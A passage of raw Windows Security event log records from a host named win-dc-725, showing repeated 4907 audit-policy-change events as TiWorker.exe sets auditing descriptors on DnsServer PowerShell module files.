AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\dnsperf.dll - Handle ID: 0x7b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247154 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZoneUnsign_v1.0.0.cdxml - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247153 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZoneTransferPolicy_v1.0.0.cdxml - Handle ID: 0x7b4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247152 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZoneTransfer_v1.0.0.cdxml - Handle ID: 0x7c8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247151 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZoneSign_v1.0.0.cdxml - Handle ID: 0x7b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247150 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZoneScope_v1.0.0.cdxml - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247149 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZoneKeyMasterRole_v1.0.0.cdxml - Handle ID: 0x7c4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247148 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZoneDelegation_v1.0.0.cdxml - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247147 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZoneAging_v1.0.0.cdxml - Handle ID: 0x7c8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247146 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZone_v1.0.0.cdxml - Handle ID: 0x7b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247145 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerVirtualizationInstance_v1.0.0.cdxml - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247144 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerTrustPoint_v1.0.0.cdxml - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247143 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerTrustAnchor_v1.0.0.cdxml - Handle ID: 0x7c8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247142 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerStubZone_v1.0.0.cdxml - Handle ID: 0x7b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247141 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerStatistics_v1.0.0.cdxml - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247140 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerSigningKeyRollover_v1.0.0.cdxml - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247139 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerSigningKey_v1.0.0.cdxml - Handle ID: 0x7c8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247138 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerSetting_v1.0.0.cdxml - Handle ID: 0x7c4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247137 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerSecondaryZone_v1.0.0.cdxml - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247136 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerScavenging_v1.0.0.cdxml - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247135 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerRootHint_v1.0.0.cdxml - Handle ID: 0x7c8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247134 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResponseRateLimitingExceptionlist_v1.0.0.cdxml - Handle ID: 0x7c4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247133 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResponseRateLimiting_v1.0.0.cdxml - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247132 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecordPTR_v1.0.0.cdxml - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247131 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecordMX_v1.0.0.cdxml - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247130 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecordDS_v1.0.0.cdxml - Handle ID: 0x7b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247129 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecordDnsKey_v1.0.0.cdxml - Handle ID: 0x7c4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247128 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecordCNAME_v1.0.0.cdxml - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247127 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecordAging_v1.0.0.cdxml - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247126 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecordAAAA_v1.0.0.cdxml - Handle ID: 0x7b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247125 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecordA_v1.0.0.cdxml - Handle ID: 0x7c4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247124 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecord_v1.0.0.cdxml - Handle ID: 0x7c0 - -Process Information: - 